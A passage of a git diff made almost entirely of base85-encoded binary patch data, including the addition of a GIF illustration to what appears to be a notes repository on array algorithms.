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

literal 0
HcmV?d00001

diff --git a/docs/notes/pics/_u6570_u7EC4_u4E2D_u91CD_u590D_1548260392361.gif b/docs/notes/pics/_u6570_u7EC4_u4E2D_u91CD_u590D_1548260392361.gif
new file mode 100644
index 0000000000000000000000000000000000000000..07f3a9102c9d2f84d1001601327d04e3b471129d
GIT binary patch
literal 29696
zcmeFZ2T)Y))~4OLn{GlAB!f+m41yv-!rSB^Dj<?XBnToPLCFF(IY-HolO&a#1SDq=
z1WAGdl0j&c9B2EU^PY3&d^6uvef3Y(KU4G6Dtg!M{cLu3)6c%vz3zpInzDqXsVG<)
zybl7wp)eQ}ihv_XP#8)q9Vdr~AfM!QF}$Lz(k)euyPDdDx&~&Z78X|a)=!^Xy9L>}
z2iZIib9oU;2#oL#jtB~k3X6=1iH%K8h|PEv|2ikVxG?wKySF73^~F_9B{gmD8oJ-L
zja2l`R1PiIeE#u%g4i<stL^Jf=eM2S+1<gp-I4Em<4cEsi;1QEiN)QCg<q5N+Y@ud
z$+?Y*dE&&v&iLZN#M0r!^3m^D`5lx0eax&K?)-iH`fCGt{QLIq?(QBi_WwQ({yq*5
z4*!g!qr;=4qvPYFlau3<lixpokCVf{ZJ(STpPrroadvw4zZ&P~=l`=q{`S=W@__&0
z^#9Li0l(!xp7THM`P;?(&-VWhPx6oJ|4(N9=M(?)XaDol{^xW5c5VN924I`*9CJ%a
z=Z=D$rqUH5VJH{`0<j&!VBH`jNC4Od{r;MOP-h?{3A1WxW{V$+n$M`aG^;HL%b}jC
zT9(}rMt{|My1Oi=D+;F&%B)tN+w+p=PLWYhd0t<luz7E)T1EcAD~V@o(>)chKW5<l
z&@Aee1;aV2FZu5GRu+!D*33~)Q?DxeT&!PVJ=0rNJpRt4EtKU(b;)Ff)kx9(zUntR
zyf?XI-RG+}ZwN8a3TS5H+grG4X*H5cGyU4wsbJK5HZ|L7j3g4I0<9oLx$Xp{BSU2-
zTQE!%@t86vuL93VzH<fjq*MXg7)$nPsCe!&3PT?%p^K?QzidZK#97LquG}XjVJ0na
zmS78po3*Rr38vA0>_)=ELo%u;D_>EXGo#FVoNfCfWQ;3fH%k?KNk!8ieZ60;>dPfc
z&SMqb0!H;hCROyHEWsu|&RN6waU2fo#^_|m1A-u9MTAk%SQZ~2QxzUzEQ)mKLPju>
zX4@ZHOxB)`r_m7ZzJOzP?0~cnb0@$=hfD}yQLACFDV^OI-iqE<7-hjADy#~n!Qm4j
zcl9NLA@!0b^wt+NaINqTHV`C|E}Je5N^Vt(cgES4nmX!y!hz*LzL^AIJ#)&8Fmrax
z0xL1cfc>DNEzBq*-^}U93B&l7r|h*1`G~5=4v!qY9a})qHG`UTOA=D6Bs|7QtKFHD
z#{>-V(?q3*(dnCj6VDhuL%H>to$v~vSl&!#1k&h0vA~S8)Ig5be~FDu$S{dOujCdy
z<jdSZ;v2?1njrTCI_DM;3w1|v$%&GGl5=KczRs^tZsZ6ClhT?nAeBV3(w{Q5>kgHT
zGS(4LVcNnM<yrKtzFB5HMHr{C(DO#;nbJOdV2fiG-l%)PduT|h&8($pHSj5#7>jb(
z7kH?rQRidI&nQ|1H^X<P1c+*^rQ7L{`<Jw^UhR~F-W?*o&Z6=AOrU2HjRqm!NoF>K
zNK`X@EJ!sPTC7R0I<!Eh1@UrL8*^1@cxKNoA217zmLjtEvqvtJD%dow72>S<3SwwK
z#7n0hnu$L{Aa6C_A2NDk!im60X#TJXR6AHkP!E|{BDM7=3_J@z;gq1<6i<B+qPYEx
zr{qSn)zh)D?z=H08y1t)Ng29D&})n}J{I*?h?Zr9=N1RJy98pT-Az>!AFoUN)&|t^
zWb7^R7#dBZGITAO?*|n=ydUZUr%ng>8o4~T`E7sIA%w@ZL0qDYo|f0<1A|g=6wV}b
zCmOOkkW#;#SF~#z9?G<dQz;<qBFd`xd46b<;0eZ7xgfNa34~N1Gz}}S8Ra2>mkg6&
